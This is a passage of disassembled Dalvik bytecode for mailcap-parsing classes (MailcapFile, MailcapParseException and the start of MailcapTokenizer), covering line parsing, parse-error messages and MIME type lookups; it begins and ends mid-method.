00000010 new-instance v4, HashMap
00000014 invoke-direct HashMap-><init>(Map)V, v4, p1
:1A
0000001A invoke-interface Iterator->hasNext()Z, v3
00000020 move-result v0
00000022 if-nez v0, :28
:26
00000026 return-object v4
:28
00000028 invoke-interface Iterator->next()Object, v3
0000002E move-result-object v0
00000030 check-cast v0, String
00000034 invoke-interface Map->get(Object)Object, v4, v0
0000003A move-result-object v1
0000003C check-cast v1, List
00000040 if-nez v1, :54
:44
00000044 invoke-interface Map->get(Object)Object, p2, v0
0000004A move-result-object v1
0000004C invoke-interface Map->put(Object, Object)Object, v4, v0, v1
00000052 goto :1A
:54
00000054 invoke-interface Map->get(Object)Object, p2, v0
0000005A move-result-object v2
0000005C check-cast v2, List
00000060 new-instance v5, ArrayList
00000064 invoke-direct ArrayList-><init>(Collection)V, v5, v1
0000006A invoke-interface List->addAll(Collection)Z, v5, v2
00000070 invoke-interface Map->put(Object, Object)Object, v4, v0, v5
00000076 goto :1A
.end method
.method private parse(Reader)V
.registers 9
00000000 const/4 v1, 0x0
00000002 new-instance v2, BufferedReader
00000006 invoke-direct BufferedReader-><init>(Reader)V, v2, p1
0000000C move-object v0, v1
:E
0000000E invoke-virtual BufferedReader->readLine()String, v2
00000014 move-result-object v3
00000016 if-nez v3, :1C
:1A
0000001A return-void
:1C
0000001C invoke-virtual String->trim()String, v3
00000022 move-result-object v3
00000024 const/4 v4, 0x0
:26
00000026 invoke-virtual String->charAt(I)C, v3, v4
0000002C move-result v4
0000002E const/16 v5, 0x23
00000032 if-eq v4, v5, :E
:36
00000036 invoke-virtual String->length()I, v3
0000003C move-result v4
0000003E add-int/lit8 v4, v4, 0xFFFFFFFFFFFFFFFF
00000042 invoke-virtual String->charAt(I)C, v3, v4
00000048 move-result v4
0000004A const/16 v5, 0x5C
0000004E if-ne v4, v5, :A8
:52
00000052 if-eqz v0, :90
:56
00000056 new-instance v4, StringBuilder
0000005A invoke-static String->valueOf(Object)String, v0
00000060 move-result-object v5
00000062 invoke-direct StringBuilder-><init>(String)V, v4, v5
00000068 const/4 v5, 0x0
0000006A invoke-virtual String->length()I, v3
00000070 move-result v6
00000072 add-int/lit8 v6, v6, 0xFFFFFFFFFFFFFFFF
00000076 invoke-virtual String->substring(I, I)String, v3, v5, v6
0000007C move-result-object v3
0000007E invoke-virtual StringBuilder->append(String)StringBuilder, v4, v3
00000084 move-result-object v3
00000086 invoke-virtual StringBuilder->toString()String, v3
0000008C move-result-object v0
0000008E goto :E
:90
00000090 const/4 v4, 0x0
00000092 invoke-virtual String->length()I, v3
00000098 move-result v5
0000009A add-int/lit8 v5, v5, 0xFFFFFFFFFFFFFFFF
0000009E invoke-virtual String->substring(I, I)String, v3, v4, v5
000000A4 move-result-object v0
000000A6 goto :E
:A8
000000A8 if-eqz v0, :D8
:AC
000000AC new-instance v4, StringBuilder
000000B0 invoke-static String->valueOf(Object)String, v0
000000B6 move-result-object v5
000000B8 invoke-direct StringBuilder-><init>(String)V, v4, v5
000000BE invoke-virtual StringBuilder->append(String)StringBuilder, v4, v3
000000C4 move-result-object v3
000000C6 invoke-virtual StringBuilder->toString()String, v3
:CC
000000CC move-result-object v0
:CE
000000CE invoke-virtual MailcapFile->parseLine(String)V, p0, v0
:D4
000000D4 move-object v0, v1
000000D6 goto :E
:D8
000000D8 invoke-virtual MailcapFile->parseLine(String)V, p0, v3
:DE
000000DE goto :E
:E0
000000E0 move-exception v3
000000E2 goto :E
:E4
000000E4 move-exception v0
000000E6 goto :D4
:E8
000000E8 move-exception v3
000000EA goto :E
.catch StringIndexOutOfBoundsException {:26 .. :CC} :E8
.catch MailcapParseException {:CE .. :D4} :E4
.catch StringIndexOutOfBoundsException {:CE .. :D4} :E8
.catch MailcapParseException {:D8 .. :DE} :E0
.catch StringIndexOutOfBoundsException {:D8 .. :DE} :E8
.end method
.method protected static reportParseError(I, I, I, I, String)V
.registers 8
00000000 invoke-static LogSupport->isLoggable()Z
00000006 move-result v0
00000008 if-eqz v0, :AC
:C
0000000C new-instance v0, StringBuilder
00000010 const-string v1, "PARSE ERROR: Encountered a "
00000014 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000001A invoke-static MailcapTokenizer->nameForToken(I)String, p3
00000020 move-result-object v1
00000022 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000028 move-result-object v0
0000002A const-string v1, " token ("
0000002E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000034 move-result-object v0
00000036 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p4
0000003C move-result-object v0
0000003E const-string v1, ") while expecting a "
00000042 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000048 move-result-object v0
0000004A invoke-static MailcapTokenizer->nameForToken(I)String, p0
00000050 move-result-object v1
00000052 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000058 move-result-object v0
0000005A const-string v1, ", a "
0000005E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000064 move-result-object v0
00000066 invoke-static MailcapTokenizer->nameForToken(I)String, p1
0000006C move-result-object v1
0000006E invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000074 move-result-object v0
00000076 const-string v1, ", or a "
0000007A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000080 move-result-object v0
00000082 invoke-static MailcapTokenizer->nameForToken(I)String, p2
00000088 move-result-object v1
0000008A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
00000090 move-result-object v0
00000092 const-string v1, " token."
00000096 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v1
0000009C move-result-object v0
0000009E invoke-virtual StringBuilder->toString()String, v0
000000A4 move-result-object v0
000000A6 invoke-static LogSupport->log(String)V, v0
:AC
000000AC new-instance v0, MailcapParseException
000000B0 new-instance v1, StringBuilder
000000B4 const-string v2, "Encountered a "
000000B8 invoke-direct StringBuilder-><init>(String)V, v1, v2
000000BE invoke-static MailcapTokenizer->nameForToken(I)String, p3
000000C4 move-result-object v2
000000C6 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000CC move-result-object v1
000000CE const-string v2, " token ("
000000D2 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000D8 move-result-object v1
000000DA invoke-virtual StringBuilder->append(String)StringBuilder, v1, p4
000000E0 move-result-object v1
000000E2 const-string v2, ") while expecting a "
000000E6 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000EC move-result-object v1
000000EE invoke-static MailcapTokenizer->nameForToken(I)String, p0
000000F4 move-result-object v2
000000F6 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000000FC move-result-object v1
000000FE const-string v2, ", a "
00000102 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000108 move-result-object v1
0000010A invoke-static MailcapTokenizer->nameForToken(I)String, p1
00000110 move-result-object v2
00000112 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000118 move-result-object v1
0000011A const-string v2, ", or a "
0000011E invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000124 move-result-object v1
00000126 invoke-static MailcapTokenizer->nameForToken(I)String, p2
0000012C move-result-object v2
0000012E invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000134 move-result-object v1
00000136 const-string v2, " token."
0000013A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000140 move-result-object v1
00000142 invoke-virtual StringBuilder->toString()String, v1
00000148 move-result-object v1
0000014A invoke-direct MailcapParseException-><init>(String)V, v0, v1
00000150 throw v0
.end method
.method protected static reportParseError(I, I, I, String)V
.registers 7
00000000 new-instance v0, MailcapParseException
00000004 new-instance v1, StringBuilder
00000008 const-string v2, "Encountered a "
0000000C invoke-direct StringBuilder-><init>(String)V, v1, v2
00000012 invoke-static MailcapTokenizer->nameForToken(I)String, p2
00000018 move-result-object v2
0000001A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000020 move-result-object v1
00000022 const-string v2, " token ("
00000026 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000002C move-result-object v1
0000002E invoke-virtual StringBuilder->append(String)StringBuilder, v1, p3
00000034 move-result-object v1
00000036 const-string v2, ") while expecting a "
0000003A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000040 move-result-object v1
00000042 invoke-static MailcapTokenizer->nameForToken(I)String, p0
00000048 move-result-object v2
0000004A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000050 move-result-object v1
00000052 const-string v2, " or a "
00000056 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000005C move-result-object v1
0000005E invoke-static MailcapTokenizer->nameForToken(I)String, p1
00000064 move-result-object v2
00000066 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000006C move-result-object v1
0000006E const-string v2, " token."
00000072 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000078 move-result-object v1
0000007A invoke-virtual StringBuilder->toString()String, v1
00000080 move-result-object v1
00000082 invoke-direct MailcapParseException-><init>(String)V, v0, v1
00000088 throw v0
.end method
.method protected static reportParseError(I, I, String)V
.registers 6
00000000 new-instance v0, MailcapParseException
00000004 new-instance v1, StringBuilder
00000008 const-string v2, "Encountered a "
0000000C invoke-direct StringBuilder-><init>(String)V, v1, v2
00000012 invoke-static MailcapTokenizer->nameForToken(I)String, p1
00000018 move-result-object v2
0000001A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000020 move-result-object v1
00000022 const-string v2, " token ("
00000026 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000002C move-result-object v1
0000002E invoke-virtual StringBuilder->append(String)StringBuilder, v1, p2
00000034 move-result-object v1
00000036 const-string v2, ") while expecting a "
0000003A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000040 move-result-object v1
00000042 invoke-static MailcapTokenizer->nameForToken(I)String, p0
00000048 move-result-object v2
0000004A invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000050 move-result-object v1
00000052 const-string v2, " token."
00000056 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000005C move-result-object v1
0000005E invoke-virtual StringBuilder->toString()String, v1
00000064 move-result-object v1
00000066 invoke-direct MailcapParseException-><init>(String)V, v0, v1
0000006C throw v0
.end method
.method public appendToMailcap(String)V
.registers 4
00000000 invoke-static LogSupport->isLoggable()Z
00000006 move-result v0
00000008 if-eqz v0, :30
:C
0000000C new-instance v0, StringBuilder
00000010 const-string v1, "appendToMailcap: "
00000014 invoke-direct StringBuilder-><init>(String)V, v0, v1
0000001A invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
00000020 move-result-object v0
00000022 invoke-virtual StringBuilder->toString()String, v0
00000028 move-result-object v0
0000002A invoke-static LogSupport->log(String)V, v0
:30
00000030 new-instance v0, StringReader
00000034 invoke-direct StringReader-><init>(String)V, v0, p1
0000003A invoke-direct MailcapFile->parse(Reader)V, p0, v0
:40
00000040 return-void
:42
00000042 move-exception v0
00000044 goto :40
.catch IOException {:30 .. :40} :42
.end method
.method public getMailcapFallbackList(String)Map
.registers 6
00000000 iget-object v0, p0, MailcapFile->fallback_hash:Map
00000004 invoke-interface Map->get(Object)Object, v0, p1
0000000A move-result-object v0
0000000C check-cast v0, Map
00000010 const/16 v1, 0x2F
00000014 invoke-virtual String->indexOf(I)I, p1, v1
0000001A move-result v1
0000001C add-int/lit8 v2, v1, 0x1
00000020 invoke-virtual String->substring(I)String, p1, v2
00000026 move-result-object v2
00000028 const-string v3, "*"
0000002C invoke-virtual String->equals(Object)Z, v2, v3
00000032 move-result v2
00000034 if-nez v2, :8C
:38
00000038 new-instance v2, StringBuilder
0000003C const/4 v3, 0x0
0000003E add-int/lit8 v1, v1, 0x1
00000042 invoke-virtual String->substring(I, I)String, p1, v3, v1
00000048 move-result-object v1
0000004A invoke-static String->valueOf(Object)String, v1
00000050 move-result-object v1
00000052 invoke-direct StringBuilder-><init>(String)V, v2, v1
00000058 const-string v1, "*"
0000005C invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
00000062 move-result-object v1
00000064 invoke-virtual StringBuilder->toString()String, v1
0000006A move-result-object v1
0000006C iget-object v2, p0, MailcapFile->fallback_hash:Map
00000070 invoke-interface Map->get(Object)Object, v2, v1
00000076 move-result-object v1
00000078 check-cast v1, Map
0000007C if-eqz v1, :8C
:80
00000080 if-eqz v0, :8E
:84
00000084 invoke-direct MailcapFile->mergeResults(Map, Map)Map, p0, v0, v1
0000008A move-result-object v0
:8C
0000008C return-object v0
:8E
0000008E move-object v0, v1
00000090 goto :8C
.end method
.method public getMailcapList(String)Map
.registers 6
00000000 iget-object v0, p0, MailcapFile->type_hash:Map
00000004 invoke-interface Map->get(Object)Object, v0, p1
0000000A move-result-object v0
0000000C check-cast v0, Map
00000010 const/16 v1, 0x2F
00000014 invoke-virtual String->indexOf(I)I, p1, v1
0000001A move-result v1
0000001C add-int/lit8 v2, v1, 0x1
00000020 invoke-virtual String->substring(I)String, p1, v2
00000026 move-result-object v2
00000028 const-string v3, "*"
0000002C invoke-virtual String->equals(Object)Z, v2, v3
00000032 move-result v2
00000034 if-nez v2, :8C
:38
00000038 new-instance v2, StringBuilder
0000003C const/4 v3, 0x0
0000003E add-int/lit8 v1, v1, 0x1
00000042 invoke-virtual String->substring(I, I)String, p1, v3, v1
00000048 move-result-object v1
0000004A invoke-static String->valueOf(Object)String, v1
00000050 move-result-object v1
00000052 invoke-direct StringBuilder-><init>(String)V, v2, v1
00000058 const-string v1, "*"
0000005C invoke-virtual StringBuilder->append(String)StringBuilder, v2, v1
00000062 move-result-object v1
00000064 invoke-virtual StringBuilder->toString()String, v1
0000006A move-result-object v1
0000006C iget-object v2, p0, MailcapFile->type_hash:Map
00000070 invoke-interface Map->get(Object)Object, v2, v1
00000076 move-result-object v1
00000078 check-cast v1, Map
0000007C if-eqz v1, :8C
:80
00000080 if-eqz v0, :8E
:84
00000084 invoke-direct MailcapFile->mergeResults(Map, Map)Map, p0, v0, v1
0000008A move-result-object v0
:8C
0000008C return-object v0
:8E
0000008E move-object v0, v1
00000090 goto :8C
.end method
.method public getMimeTypes()[String
.registers 3
00000000 new-instance v0, HashSet
00000004 iget-object v1, p0, MailcapFile->type_hash:Map
00000008 invoke-interface Map->keySet()Set, v1
0000000E move-result-object v1
00000010 invoke-direct HashSet-><init>(Collection)V, v0, v1
00000016 iget-object v1, p0, MailcapFile->fallback_hash:Map
0000001A invoke-interface Map->keySet()Set, v1
00000020 move-result-object v1
00000022 invoke-interface Set->addAll(Collection)Z, v0, v1
00000028 iget-object v1, p0, MailcapFile->native_commands:Map
0000002C invoke-interface Map->keySet()Set, v1
00000032 move-result-object v1
00000034 invoke-interface Set->addAll(Collection)Z, v0, v1
0000003A invoke-interface Set->size()I, v0
00000040 move-result v1
00000042 new-array v1, v1, [String
00000046 invoke-interface Set->toArray([Object)[Object, v0, v1
0000004C move-result-object v0
0000004E check-cast v0, [String
00000052 return-object v0
.end method
.method public getNativeCommands(String)[String
.registers 5
00000000 const/4 v0, 0x0
00000002 check-cast v0, [String
00000006 iget-object v1, p0, MailcapFile->native_commands:Map
0000000A sget-object v2, Locale->ENGLISH:Locale
0000000E invoke-virtual String->toLowerCase(Locale)String, p1, v2
00000014 move-result-object v2
00000016 invoke-interface Map->get(Object)Object, v1, v2
0000001C move-result-object v1
0000001E check-cast v1, List
00000022 if-eqz v1, :3E
:26
00000026 invoke-interface List->size()I, v1
0000002C move-result v0
0000002E new-array v0, v0, [String
00000032 invoke-interface List->toArray([Object)[Object, v1, v0
00000038 move-result-object v0
0000003A check-cast v0, [String
:3E
0000003E return-object v0
.end method
.method protected parseLine(String)V
.registers 16
00000000 const/4 v2, 0x1
00000002 const/4 v12, 0x5
00000004 const/4 v3, 0x0
00000006 const/4 v11, 0x2
00000008 const/16 v10, 0x3B
0000000C new-instance v4, MailcapTokenizer
00000010 invoke-direct MailcapTokenizer-><init>(String)V, v4, p1
00000016 invoke-virtual MailcapTokenizer->setIsAutoquoting(Z)V, v4, v3
0000001C invoke-static LogSupport->isLoggable()Z
00000022 move-result v0
00000024 if-eqz v0, :4C
:28
00000028 new-instance v0, StringBuilder
0000002C const-string v1, "parse: "
00000030 invoke-direct StringBuilder-><init>(String)V, v0, v1
00000036 invoke-virtual StringBuilder->append(String)StringBuilder, v0, p1
0000003C move-result-object v0
0000003E invoke-virtual StringBuilder->toString()String, v0
00000044 move-result-object v0
00000046 invoke-static LogSupport->log(String)V, v0
:4C
0000004C invoke-virtual MailcapTokenizer->nextToken()I, v4
00000052 move-result v0
00000054 if-eq v0, v11, :66
:58
00000058 invoke-virtual MailcapTokenizer->getCurrentTokenValue()String, v4
0000005E move-result-object v1
00000060 invoke-static MailcapFile->reportParseError(I, I, String)V, v11, v0, v1
:66
00000066 invoke-virtual MailcapTokenizer->getCurrentTokenValue()String, v4
0000006C move-result-object v0
0000006E sget-object v1, Locale->ENGLISH:Locale
00000072 invoke-virtual String->toLowerCase(Locale)String, v0, v1
00000078 move-result-object v5
0000007A const-string v0, "*"
0000007E invoke-virtual MailcapTokenizer->nextToken()I, v4
00000084 move-result v1
00000086 const/16 v6, 0x2F
0000008A if-eq v1, v6, :A4
:8E
0000008E if-eq v1, v10, :A4
:92
00000092 const/16 v6, 0x2F
00000096 invoke-virtual MailcapTokenizer->getCurrentTokenValue()String, v4
0000009C move-result-object v7
0000009E invoke-static MailcapFile->reportParseError(I, I, I, String)V, v6, v10, v1, v7
:A4
000000A4 const/16 v6, 0x2F
000000A8 if-ne v1, v6, :E2
:AC
000000AC invoke-virtual MailcapTokenizer->nextToken()I, v4
000000B2 move-result v0
000000B4 if-eq v0, v11, :C6
:B8
000000B8 invoke-virtual MailcapTokenizer->getCurrentTokenValue()String, v4
000000BE move-result-object v1
000000C0 invoke-static MailcapFile->reportParseError(I, I, String)V, v11, v0, v1
:C6
000000C6 invoke-virtual MailcapTokenizer->getCurrentTokenValue()String, v4
000000CC move-result-object v0
000000CE sget-object v1, Locale->ENGLISH:Locale
000000D2 invoke-virtual String->toLowerCase(Locale)String, v0, v1
000000D8 move-result-object v0
000000DA invoke-virtual MailcapTokenizer->nextToken()I, v4
000000E0 move-result v1
:E2
000000E2 new-instance v6, StringBuilder
000000E6 invoke-static String->valueOf(Object)String, v5
000000EC move-result-object v5
000000EE invoke-direct StringBuilder-><init>(String)V, v6, v5
000000F4 const-string v5, "/"
000000F8 invoke-virtual StringBuilder->append(String)StringBuilder, v6, v5
000000FE move-result-object v5
00000100 invoke-virtual StringBuilder->append(String)StringBuilder, v5, v0
00000106 move-result-object v0
00000108 invoke-virtual StringBuilder->toString()String, v0
0000010E move-result-object v5
00000110 invoke-static LogSupport->isLoggable()Z
00000116 move-result v0
00000118 if-eqz v0, :140
:11C
0000011C new-instance v0, StringBuilder
00000120 const-string v6, " Type: "
00000124 invoke-direct StringBuilder-><init>(String)V, v0, v6
0000012A invoke-virtual StringBuilder->append(String)StringBuilder, v0, v5
00000130 move-result-object v0
00000132 invoke-virtual StringBuilder->toString()String, v0
00000138 move-result-object v0
0000013A invoke-static LogSupport->log(String)V, v0
:140
00000140 new-instance v6, LinkedHashMap
00000144 invoke-direct LinkedHashMap-><init>()V, v6
0000014A if-eq v1, v10, :15C
:14E
0000014E invoke-virtual MailcapTokenizer->getCurrentTokenValue()String, v4
00000154 move-result-object v0
00000156 invoke-static MailcapFile->reportParseError(I, I, String)V, v10, v1, v0
:15C
0000015C invoke-virtual MailcapTokenizer->setIsAutoquoting(Z)V, v4, v2
00000162 invoke-virtual MailcapTokenizer->nextToken()I, v4
00000168 move-result v1
0000016A invoke-virtual MailcapTokenizer->setIsAutoquoting(Z)V, v4, v3
00000170 if-eq v1, v11, :186
:174
00000174 if-eq v1, v10, :186
:178
00000178 invoke-virtual MailcapTokenizer->getCurrentTokenValue()String, v4
0000017E move-result-object v0
00000180 invoke-static MailcapFile->reportParseError(I, I, I, String)V, v11, v10, v1, v0
:186
00000186 if-ne v1, v11, :1B8
:18A
0000018A iget-object v0, p0, MailcapFile->native_commands:Map
0000018E invoke-interface Map->get(Object)Object, v0, v5
00000194 move-result-object v0
00000196 check-cast v0, List
0000019A if-nez v0, :2C8
:19E
0000019E new-instance v0, ArrayList
000001A2 invoke-direct ArrayList-><init>()V, v0
000001A8 invoke-interface List->add(Object)Z, v0, p1
000001AE iget-object v7, p0, MailcapFile->native_commands:Map
000001B2 invoke-interface Map->put(Object, Object)Object, v7, v5, v0
:1B8
000001B8 if-eq v1, v10, :47C
:1BC
000001BC invoke-virtual MailcapTokenizer->nextToken()I, v4
000001C2 move-result v0
:1C4
000001C4 if-ne v0, v10, :456
:1C8
000001C8 move v1, v3
:1CA
000001CA invoke-virtual MailcapTokenizer->nextToken()I, v4
000001D0 move-result v0
000001D2 if-eq v0, v11, :1E4
:1D6
000001D6 invoke-virtual MailcapTokenizer->getCurrentTokenValue()String, v4
000001DC move-result-object v7
000001DE invoke-static MailcapFile->reportParseError(I, I, String)V, v11, v0, v7
:1E4
000001E4 invoke-virtual MailcapTokenizer->getCurrentTokenValue()String, v4
000001EA move-result-object v0
000001EC sget-object v7, Locale->ENGLISH:Locale
000001F0 invoke-virtual String->toLowerCase(Locale)String, v0, v7
000001F6 move-result-object v7
000001F8 invoke-virtual MailcapTokenizer->nextToken()I, v4
000001FE move-result v0
00000200 const/16 v8, 0x3D
00000204 if-eq v0, v8, :222
:208
00000208 if-eq v0, v10, :222
:20C
0000020C if-eq v0, v12, :222
:210
00000210 const/16 v8, 0x3D
00000214 invoke-virtual MailcapTokenizer->getCurrentTokenValue()String, v4
0000021A move-result-object v9
0000021C invoke-static MailcapFile->reportParseError(I, I, I, I, String)V, v8, v10, v12, v0, v9
:222
00000222 const/16 v8, 0x3D
00000226 if-ne v0, v8, :472
:22A
0000022A invoke-virtual MailcapTokenizer->setIsAutoquoting(Z)V, v4, v2
00000230 invoke-virtual MailcapTokenizer->nextToken()I, v4
00000236 move-result v0
00000238 invoke-virtual MailcapTokenizer->setIsAutoquoting(Z)V, v4, v3
0000023E if-eq v0, v11, :250
:242
00000242 invoke-virtual MailcapTokenizer->getCurrentTokenValue()String, v4
00000248 move-result-object v8
0000024A invoke-static MailcapFile->reportParseError(I, I, String)V, v11, v0, v8
:250
00000250 invoke-virtual MailcapTokenizer->getCurrentTokenValue()String, v4
00000256 move-result-object v8
00000258 const-string v0, "x-java-"
0000025C invoke-virtual String->startsWith(String)Z, v7, v0
00000262 move-result v0
00000264 if-eqz v0, :294
:268
00000268 const/4 v0, 0x7
0000026A invoke-virtual String->substring(I)String, v7, v0
00000270 move-result-object v7
00000272 const-string v0, "fallback-entry"
00000276 invoke-virtual String->equals(Object)Z, v7, v0
0000027C move-result v0
0000027E if-eqz v0, :2D2
:282
00000282 const-string v0, "true"
00000286 invoke-virtual String->equalsIgnoreCase(String)Z, v8, v0
0000028C move-result v0
0000028E if-eqz v0, :2D2
:292
00000292 move v1, v2
:294
00000294 invoke-virtual MailcapTokenizer->nextToken()I, v4
0000029A move-result v0
0000029C move v13, v1
0000029E move v1, v0
000002A0 move v0, v13
:2A2
000002A2 if-eq v1, v10, :46C
:2A6
000002A6 if-eqz v0, :34E
:2AA
000002AA iget-object v0, p0, MailcapFile->fallback_hash:Map
000002AE move-object v1, v0
:2B0
000002B0 invoke-interface Map->get(Object)Object, v1, v5
000002B6 move-result-object v0
000002B8 check-cast v0, Map
000002BC if-nez v0, :356
:2C0
000002C0 invoke-interface Map->put(Object, Object)Object, v1, v5, v6
:2C6
000002C6 return-void
:2C8
000002C8 invoke-interface List->add(Object)Z, v0, p1
000002CE goto/16 :1B8
:2D2
000002D2 invoke-static LogSupport->isLoggable()Z
000002D8 move-result v0
000002DA if-eqz v0, :316
:2DE
000002DE new-instance v0, StringBuilder
000002E2 const-string v9, " Command: "
000002E6 invoke-direct StringBuilder-><init>(String)V, v0, v9
000002EC invoke-virtual StringBuilder->append(String)StringBuilder, v0, v7
000002F2 move-result-object v0
000002F4 const-string v9, ", Class: "
000002F8 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v9
000002FE move-result-object v0
00000300 invoke-virtual StringBuilder->append(String)StringBuilder, v0, v8
00000306 move-result-object v0
00000308 invoke-virtual StringBuilder->toString()String, v0
0000030E move-result-object v0
00000310 invoke-static LogSupport->log(String)V, v0
:316
00000316 invoke-interface Map->get(Object)Object, v6, v7
0000031C move-result-object v0
0000031E check-cast v0, List
00000322 if-nez v0, :336
:326
00000326 new-instance v0, ArrayList
0000032A invoke-direct ArrayList-><init>()V, v0
00000330 invoke-interface Map->put(Object, Object)Object, v6, v7, v0
:336
00000336 sget-boolean v7, MailcapFile->addReverse:Z
0000033A if-eqz v7, :346
:33E
0000033E invoke-interface List->add(I, Object)V, v0, v3, v8
00000344 goto :294
:346
00000346 invoke-interface List->add(Object)Z, v0, v8
0000034C goto :294
:34E
0000034E iget-object v0, p0, MailcapFile->type_hash:Map
00000352 move-object v1, v0
00000354 goto :2B0
:356
00000356 invoke-static LogSupport->isLoggable()Z
0000035C move-result v1
0000035E if-eqz v1, :386
:362
00000362 new-instance v1, StringBuilder
00000366 const-string v2, "Merging commands for type "
0000036A invoke-direct StringBuilder-><init>(String)V, v1, v2
00000370 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v5
00000376 move-result-object v1
00000378 invoke-virtual StringBuilder->toString()String, v1
0000037E move-result-object v1
00000380 invoke-static LogSupport->log(String)V, v1
:386
00000386 invoke-interface Map->keySet()Set, v0
0000038C move-result-object v1
0000038E invoke-interface Set->iterator()Iterator, v1
00000394 move-result-object v4
:396
00000396 invoke-interface Iterator->hasNext()Z, v4
0000039C move-result v1
0000039E if-nez v1, :3EA
:3A2
000003A2 invoke-interface Map->keySet()Set, v6
000003A8 move-result-object v1
000003AA invoke-interface Set->iterator()Iterator, v1
000003B0 move-result-object v3
:3B2
000003B2 invoke-interface Iterator->hasNext()Z, v3
000003B8 move-result v1
000003BA if-eqz v1, :2C6
:3BE
000003BE invoke-interface Iterator->next()Object, v3
000003C4 move-result-object v1
000003C6 check-cast v1, String
000003CA invoke-interface Map->containsKey(Object)Z, v0, v1
000003D0 move-result v2
000003D2 if-nez v2, :3B2
:3D6
000003D6 invoke-interface Map->get(Object)Object, v6, v1
000003DC move-result-object v2
000003DE check-cast v2, List
000003E2 invoke-interface Map->put(Object, Object)Object, v0, v1, v2
000003E8 goto :3B2
:3EA
000003EA invoke-interface Iterator->next()Object, v4
000003F0 move-result-object v1
000003F2 check-cast v1, String
000003F6 invoke-interface Map->get(Object)Object, v0, v1
000003FC move-result-object v2
000003FE check-cast v2, List
00000402 invoke-interface Map->get(Object)Object, v6, v1
00000408 move-result-object v1
0000040A check-cast v1, List
0000040E if-eqz v1, :396
:412
00000412 invoke-interface List->iterator()Iterator, v1
00000418 move-result-object v5
:41A
0000041A invoke-interface Iterator->hasNext()Z, v5
00000420 move-result v1
00000422 if-eqz v1, :396
:426
00000426 invoke-interface Iterator->next()Object, v5
0000042C move-result-object v1
0000042E check-cast v1, String
00000432 invoke-interface List->contains(Object)Z, v2, v1
00000438 move-result v7
0000043A if-nez v7, :41A
:43E
0000043E sget-boolean v7, MailcapFile->addReverse:Z
00000442 if-eqz v7, :44E
:446
00000446 invoke-interface List->add(I, Object)V, v2, v3, v1
0000044C goto :41A
:44E
0000044E invoke-interface List->add(Object)Z, v2, v1
00000454 goto :41A
:456
00000456 if-eq v0, v12, :2C6
:45A
0000045A invoke-virtual MailcapTokenizer->getCurrentTokenValue()String, v4
00000460 move-result-object v1
00000462 invoke-static MailcapFile->reportParseError(I, I, I, String)V, v12, v10, v0, v1
00000468 goto/16 :2C6
:46C
0000046C move v1, v0
0000046E goto/16 :1CA
:472
00000472 move v13, v1
00000474 move v1, v0
00000476 move v0, v13
00000478 goto/16 :2A2
:47C
0000047C move v0, v1
0000047E goto/16 :1C4
.end method
#--------------------------------------------------------------------------------
.class public MailcapParseException
.super Exception
.source ""
.method public constructor <init>()V
.registers 1
00000000 invoke-direct Exception-><init>()V, p0
00000006 return-void
.end method
.method public constructor <init>(String)V
.registers 2
00000000 invoke-direct Exception-><init>(String)V, p0, p1
00000006 return-void
.end method
#--------------------------------------------------------------------------------
.class public MailcapTokenizer
.super Object
.source ""
.field public static final EOI_TOKEN:I = 0x5
.field public static final EQUALS_TOKEN:I = 0x3D
.field public static final SEMICOLON_TOKEN:I = 0x3B
.field public static final SLASH_TOKEN:I = 0x2F
.field public static final START_TOKEN:I = 0x1
.field public static final STRING_TOKEN:I = 0x2
.field public static final UNKNOWN_TOKEN:I
.field private autoquoteChar:C
.field private currentToken:I
.field private currentTokenValue:String
.field private data:String
.field private dataIndex:I
.field private dataLength:I
.field private isAutoquoting:Z
.method public constructor <init>(String)V
.registers 4
00000000 const/4 v1, 0x0
00000002 invoke-direct Object-><init>()V, p0
00000008 iput-object p1, p0, MailcapTokenizer->data:String
0000000C iput v1, p0, MailcapTokenizer->dataIndex:I
00000010 invoke-virtual String->length()I, p1
00000016 move-result v0
00000018 iput v0, p0, MailcapTokenizer->dataLength:I
0000001C const/4 v0, 0x1
0000001E iput v0, p0, MailcapTokenizer->currentToken:I
00000022 const-string v0, ""
00000026 iput-object v0, p0, MailcapTokenizer->currentTokenValue:String
0000002A iput-boolean v1, p0, MailcapTokenizer->isAutoquoting:Z
0000002E const/16 v0, 0x3B
00000032 iput-char v0, p0, MailcapTokenizer->autoquoteChar:C
00000036 return-void
.end method
.method private static fixEscapeSequences(String)String
.registers 6
00000000 invoke-virtual String->length()I, p0
00000006 move-result v1
00000008 new-instance v2, StringBuffer
0000000C invoke-direct StringBuffer-><init>()V, v2
